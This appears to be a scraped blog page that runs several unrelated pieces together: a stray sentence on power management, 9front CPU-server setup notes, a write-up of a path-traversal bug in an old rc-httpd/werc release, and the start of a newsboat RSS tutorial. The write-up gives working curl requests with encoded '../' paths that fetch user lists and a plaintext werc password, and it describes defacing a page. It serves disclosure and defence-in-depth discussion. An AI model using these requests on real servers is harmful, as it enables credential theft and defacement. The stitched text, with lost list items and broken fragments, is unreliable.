Although power management allows companies and individuals to cut power usage costs, it presents a problem for IT departments especially in being able to quickly and efficiently remotely manage PC\'s, especially during off-hours operation when those PC\'s are most likely to be in a suspended or standby state, assuming power management features are enabled.

\nI wrote about configuring a CPU server and also mirrored the notes at my 9front webserver containing a mirror of my plan 9 related things (using self-signed certs but it\'s fine) I\'ve snarfed+pasted it here for the sake of completeness and modified it slightly so that it\'s more accessible for other people. I\'ve also revised these notes so that they\'re less-broken. I may or may not update them.
\nI\'m using 9front for this. It has more secure authentication protocols when it comes to remotely connecting.
\nConnect to the file server and add a new user called <ExampleUser> who is in the groups sys, adm, and upas
term% con -C /srv/cwfs.cmd\nnewuser <ExampleUser>\nnewuser sys +<ExampleUser>\nnewuser adm +<ExampleUser>\nnewuser upas +<ExampleUser>\nReboot and set user=<ExampleUser> when prompted at boot time.
This is similar to cp -r /etc/skel /home/<ExampleUser> on a UNIX system.
/sys/lib/newuser\nMount the boot partition:
\nterm% 9fs 9fat\nedit the boot config, /n/9fat/plan9.ini
bootfile=9pc64\nnobootprompt=local!/dev/sdC0/fscache\nmouseport=ps2\nmonitor=vesa\nvgasize=1024x768x14\nuser=<ExampleUser>\ntiltscreen=none\nservice=cpu\nHostowner is similar to root but not quite. In our configuration, hostowner is close to being equivalent to a root user. The user= line in our bootprompt sets the hostowner.
For automatic booting (aka not entering a password at the physical machine every time we power it in), we need to add the hostowner\'s key to nvram.
\nterm% nvram=/dev/sdF0/nvram auth/wrkey\nbad nvram des key\nbad authentication id\nbad authentication domain\nauthid: <ExampleUser>\nauthdom: cirno\nsecstore key: <press the return key if you do not want to type this at boot time>\npassword: <make it 8 chars>\nIn order to connect to the system over the network, the new user must be added to the auth server.
\nterm% auth/keyfs\nterm% auth/changeuser <ExampleUser>\nPassword: <what you put earlier>\nConfirm password:\nAssign new Inferno/POP secret? [y/n]: n\nExpiration date (YYYYMMDD or never) [never]: never\nPost id:\nUser's full name:\nDepartment #:\nUser's email address:\nSponsor's email address:\nuser <ExampleUser> installed for Plan 9\n/lib/ndb/auth is similar to a /etc/sudoers. This configuration for the new user allows him to execute commands as other users except for the sys and adm users (but sys and adm are more like groups but who cares).
append to /lib/ndb/auth
hostid=<ExampleUser>\n uid=!sys uid=!adm uid=*\nthen reboot
\nThe 9front version of drawterm must be used as it supports the better crypto in 9front. Other drawterm versions probably won\'t work.
\n$ /opt/drawterm -u <ExampleUser> -h example.com -a example.com -r ~/\nedit /rc/bin/rc-httpd/select-handler
this file is something like /etc/httpd.conf on a UNIX system.

\ncpu% cp /rc/bin/service/!tcp80 /rc/bin/service/tcp80\ncpu% chmod +x /rc/bin/rc-httpd/select-handler\nReboot and test.
\nI will never give money to the CA racket. Self-signed is the way to go on systems that don\'t support acme.sh, the only ACME client I use for obtaining free SSL certs.

\nUsing release COMMUNITY VS INFRASTRUCTURE, an old release with old rc-httpd, I have done the above steps. In current releases this bug no longer exists. Use current releases.
\n# get list of werc admin users\n[root@localhost]# curl http://cirno/..%2f..%2f/etc/users/admin/members\npwn\n# get that werc user's password\n[root@localhost]# http://cirno/..%2f..%2f/etc/users/pwn/password\nsupersecret\nWait, the passwords for werc are stored in plain text? Let\'s log in
\n[root@localhost]# firefox http://cirno/_users/login\nNow let\'s see if any of the werc users are also system users:
\n# let's enumerate users\n[root@localhost]# curl http://cirno/..%2f..%2f..%2f..%2f..%2f..%2f/adm/users\n-1:adm:adm:glenda,pwn\n0:none::\n1:tor:tor:\n2:glenda:glenda:\n3:pwn:pwn:\n10000:sys::glenda,pwn\n10001:map:map:\n10002:doc::\n10003:upas:upas:glenda,pwn\n10004:font::\n10005:bootes:bootes:\nLet\'s hope that no one is re-using credentials.

\nrc-httpd calls various handler scripts that decide what to do with requests. In the example configuration for werc, rc-httpd is instructed to call the static-or-cgi script.
I will compile these archaic rc scripts into pseudo code for the listener.
\nThe static-or-cgi handler (the handler specified in the httpd config) is simple:
#!/bin/rc\ncgiargs=$*\n\nfn error{\n if(~ $1 404)\n exec cgi $cgiargs\n if not\n $rc_httpd_dir/handlers/error $1\n}\n\nif(~ $location */)\n exec cgi $cgiargs\nif not\n exec serve-static\ncgi handler and pass it arguments.serve-static handler.The problem lies in the serve-static handler:
#!/bin/rc\nfull_path=`{echo $"FS_ROOT^$"PATH_INFO | urlencode -d}\nfull_path=$"full_path\nif(~ $full_path */)\n error 503\nif(test -d $full_path){\n redirect perm $"location^'/' \\\n 'URL not quite right, and browser did not accept redirect.'\n exit\n}\nif(! test -e $full_path){\n error 404\n exit\n}\nif(! test -r $full_path){\n error 503\n exit\n}\ndo_log 200\nswitch($full_path){\ncase *.html *.htm\n type=text/html\ncase *.css\n type=text/css\ncase *.txt *.md\n type=text/plain\ncase *.jpg *.jpeg\n type=image/jpeg\ncase *.gif\n type=image/gif\ncase *.png\n type=image/png\ncase *\n type=`{file -m $full_path}\n}\nif(~ $type text/*)\n type=$type^'; charset=utf-8'\nmax_age=3600 # 1 hour\necho 'HTTP/1.1 200 OK'^$cr\nemit_extra_headers\necho 'Content-type: '^$type^$cr\necho 'Content-length: '^`{ls -l $full_path | awk '{print $6}'}^$cr\necho 'Cache-control: max-age='^$max_age^$cr\necho $cr\nexec cat $full_path\n\'*/\', the document root, error 503The problem is no sanitization. The script checks for files in the current directory BUT NOT BEFORE ENCODING THE URL STRING.
\nThe urlencode command works by decoding encoded characters.
\ncpu% echo 'http://cirno/..%2f' | urlencode -d\nhttp://cirno/../\nDoes ../ exist in */ ? the answer is yes.
.. is a directory contained inside of */
*/../ is the current working directory.
Adding a sanitizer. By comparing the encoded url against an actual hypothetical file path and exiting if there is a mismatch, all %2f funny business is avoided.
\nrc-httpd aside, a bad werc config can still lead to website defacement if your non rc-httpd webserver has a path traversal vulnerability.
\nAdditionally I have modified the DAC for /sys/www to allow werc, a child process of rc-httpd to write to disk. rc-httpd runs as the none user so it\'s not typically allowed to write to disk unless explicitly permitted. I do not allow this on my 9 webserver because it\'s the worst idea in the history of all time ever.
I enabled the dirdir and blagh modules as if I were the type of admin who does a chmod -R 777 /var/www/htdocs because that\'s what the wordpress installation guide told me to do so I could have a cool and easy way to modify my website from the browser.
Let\'s pretend that I\'m not the admin of this system and scrape the werc config just to see if the hypothetical badmin has these modules enabled.
\n# get config\n[root@localhost]# curl http://cirno/..%2f..%2f/sites/cirno/_werc/config\nmasterSite=cirno\nsiteTitle='Werc Test Suite'\nconf_enable_wiki\nwiki_editor_groups admin\nHmmm, looks like these modules are enabled so we can assume that httpd is allowed to write to disk. Let\'s modify cirno/index.md to warn the admin. As a funny joke. Totally not a crime under the Computer Fraud and Abuse Act. Totally not an inappropriate way to warn admins about a vulnerability.

% echo 'supersecret' | sha1sum -2 512\nLuckily enough, the webserver runs as the none user with it\'s own namespace.
I grab the namespace from the system console (ie not from drawterm) and from the listen command, then run a diff (unix style) to show the differences.

\nThe listen process in question is fairly well isolated from the system. Minimal system damage can be caused by pwning a process owned by none.
An argument could be maid that the rc-httpd vulnerability was \"not a bug\" because \"namespaces are supposed to segregate the system\".
\nI disagree on this point. Namespaces are good and all but security is a multi-layer thing. Relying on a single security feature to save your system means relying on a single point of failure. Chroot escapes, namespace escapes, container escapes, and VM escapes are all things we need to be thinking about when writing software that touches the internet. Although unlikely, getting pwnd in spite of these security methods is still possible; all user input is dangerous and all user input that becomes remote code execution always results in privilege escalation no matter how secure you think your operating system is. Each additional layer of security makes it harder for attackers to get into the system.
\nFor example, when I write PHP applications, I consider things in this order:
\nsystem() in a context where user input can ever be passed to the function in order to avoid shell escapesAnd of course the other things like firewalls (with whitelists for ports and blacklists for entire IP address blocks), key based ssh authentication, sshd configurations that don\'t make it possible to enumerate users, rate limiters, etc.
\nEach layer of security is like a filter. If you have enough layers of filters it would take an unrealistic amount of force to push water through this filter. Although no system is perfectly safe from three letter agencies, a system with multiple layers of security is typically safe from drive-by attacks.
\nFinal exercise: intentionally write a php script that does path traversal. Run this on a system with SELinux. Try to coax /etc/passwd out of the server. Now try php-fpm instead of mod_php or vice-versa. You\'ll be surprised when even MAC doesn\'t protect your system.
Even now, after spending almost a month and a half worth of after work hacker hours almost exclusively on 9, I enjoy it more than when I began and even more than when using it in semi-regular spurts in years past. The purpose of research operating systems is to perform research, be it about the design of the system otherwise. Where would we be without private namespaces? How can I use this idea in the real world? What would the world look like if we had real distributed computing instead of web browsers (which are the new dumb terminal)? Is there a use case for this in the real world? What can we learn from single layer security models? What can we do to improve the system?
\nPlan 9 is perfect for this type of research. I\'m considering writing an httpd in C and a werc-like (minus the parts I don\'t like) in C and modifying the namespace for the listener so that I can run a webserver on 9 without pulling in /bin in order to reduce the possibility of a shell escape.
\nI think that in order to improve ourselves, we must be critical of ourselves. We must be critical of the things we enjoy in order to improve them and learn something new in the process. For software especially, there is no such thing as perfection, only least bad. And my final thought:
\n\n\nCriticism: This program/OS/whatever sucks

\n
newsboatI find that the youtube web ui is designed to keep users on the site by feeding them an unending stream of information. Bright colors, distracting thumbnails, peanut galleries, etc. I prefer to consume my videos in the same way I consume everything else: via RSS.
\nRSS is my favorite way of aggregating things that other people have made because it allows me, the user, to interact with their things
\nThe only dependencies not on a standard UNIX system are newsboat and a video player. I also use yt-dlp to download videos for later viewing. I like mpv but you can substitute your own.
$ sudo $pkgmrg install newsboat mpv yt-dlpYoutube (currently) provides RSS feeds for channels.
\nSometimes channels have vanity URLs that can make it difficult to find the channel ID. Other times, the URL contains the channel ID. All youtube channel IDs start with the string UC so we can easily grep for them.
$ curl https://www.youtube.com/c/RMCRetro | grep --color "href=\\"https://www.youtube.com/channel/UC\\""\n[ lots of nonsense ]\nhref="https://www.youtube.com/channel/UCLEoyoOKZK0idGqSc6Pi23w"\n[ lots of nonsense ]In order to turn this channel ID into something useful, we create the following URL:
\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCLEoyoOKZK0idGqSc6Pi23wGoogle takeout can also be used to export youtube subscriptions.
\nThe export format is a CSV that contains the channel IDs for all of our subscriptions.
\nChannel Id,Channel Url,Channel Title\nUCLEoyoOKZK0idGqSc6Pi23w,http://www.youtube.com/channel/UCLEoyoOKZK0idGqSc6Pi23w,RMC - The CaveNewsboat reads it’s list of URLs from ~/.config/newsboat/urls. Every url we add to this list will be automaticlly fetched. You can make separate URL lists for your list of videos and list of standard text based RSS feeds
If you have an exported CSV, you can easily modify it so that newsboat will accept it as a list of URLs by deleting row 1, column 1+comma, and replacing the comma between the URL and channel name with a tab character. Doing a sed \'s/channel\\//feeds\\/videos.xml?channel_id=/g\' on the file is an easy way to replace the website URL with the feed url. Newsboat only reads the first field of every row so the channel name can be kept for easier subscription management.
http://www.youtube.com/feeds/videos.xml?channel_id=UCLEoyoOKZK0idGqSc6Pi23w RMC - The CaveIn order to play videos, we need to add some macros to the newsboat config file at ~/.config/newsboat/config
